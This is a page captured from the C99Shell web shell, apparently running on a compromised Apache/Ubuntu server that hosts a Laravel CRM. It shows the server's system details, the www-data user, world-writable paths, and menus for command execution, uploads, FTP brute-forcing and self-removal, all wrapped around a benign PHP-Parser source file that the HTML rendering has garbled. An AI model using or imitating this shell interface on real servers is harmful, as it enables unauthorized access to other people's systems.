!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/   drwxrwxrwx
Free 13.14 GB of 57.97 GB (22.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AsymmetricVisibilityTokenEmulator.php (3.27 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

namespace 
PhpParser\Lexer\TokenEmulator;

use 
PhpParser\PhpVersion;
use 
PhpParser\Token;

final class 
AsymmetricVisibilityTokenEmulator extends TokenEmulator {
    public function 
getPhpVersion(): PhpVersion {
        return 
PhpVersion::fromComponents(84);
    }
    public function 
isEmulationNeeded(string $code): bool {
        
$code strtolower($code);
        return 
strpos($code'public(set)') !== false ||
            
strpos($code'protected(set)') !== false ||
            
strpos($code'private(set)') !== false;
    }

    public function 
emulate(string $code, array $tokens): array {
        
$map = [
            
\T_PUBLIC => \T_PUBLIC_SET,
            
\T_PROTECTED => \T_PROTECTED_SET,
            
\T_PRIVATE => \T_PRIVATE_SET,
        ];
        for (
$i 0$c count($tokens); $i $c; ++$i) {
            
$token $tokens[$i];
            if (isset(
$map[$token->id]) && $i $c && $tokens[$i 1]->text === '(' &&
                
$tokens[$i 2]->id === \T_STRING && \strtolower($tokens[$i 2]->text) === 'set' &&
                
$tokens[$i 3]->text === ')' &&
                
$this->isKeywordContext($tokens$i)
            ) {
                
array_splice($tokens$i4, [
                    new 
Token(
                        
$map[$token->id], $token->text '(' $tokens[$i 2]->text ')',
                        
$token->line$token->pos),
                ]);
                
$c -= 3;
            }
        }

        return 
$tokens;
    }

    public function 
reverseEmulate(string $code, array $tokens): array {
        
$reverseMap = [
            
\T_PUBLIC_SET => \T_PUBLIC,
            
\T_PROTECTED_SET => \T_PROTECTED,
            
\T_PRIVATE_SET => \T_PRIVATE,
        ];
        for (
$i 0$c count($tokens); $i $c; ++$i) {
            
$token $tokens[$i];
            if (isset(
$reverseMap[$token->id]) &&
                
\preg_match('/(public|protected|private)\((set)\)/i'$token->text$matches)
            ) {
                [, 
$modifier$set] = $matches;
                
$modifierLen \strlen($modifier);
                
array_splice($tokens$i1, [
                    new 
Token($reverseMap[$token->id], $modifier$token->line$token->pos),
                    new 
Token(\ord('('), '('$token->line$token->pos $modifierLen),
                    new 
Token(\T_STRING$set$token->line$token->pos $modifierLen 1),
                    new 
Token(\ord(')'), ')'$token->line$token->pos $modifierLen 4),
                ]);
                
$i += 3;
                
$c += 3;
            }
        }

        return 
$tokens;
    }

    
/** @param Token[] $tokens */
    
protected function isKeywordContext(array $tokensint $pos): bool {
        
$prevToken $this->getPreviousNonSpaceToken($tokens$pos);
        if (
$prevToken === null) {
            return 
false;
        }
        return 
$prevToken->id !== \T_OBJECT_OPERATOR
            
&& $prevToken->id !== \T_NULLSAFE_OBJECT_OPERATOR;
    }

    
/** @param Token[] $tokens */
    
private function getPreviousNonSpaceToken(array $tokensint $start): ?Token {
        for (
$i $start 1$i >= 0; --$i) {
            if (
$tokens[$i]->id === T_WHITESPACE) {
                continue;
            }

            return 
$tokens[$i];
        }

        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--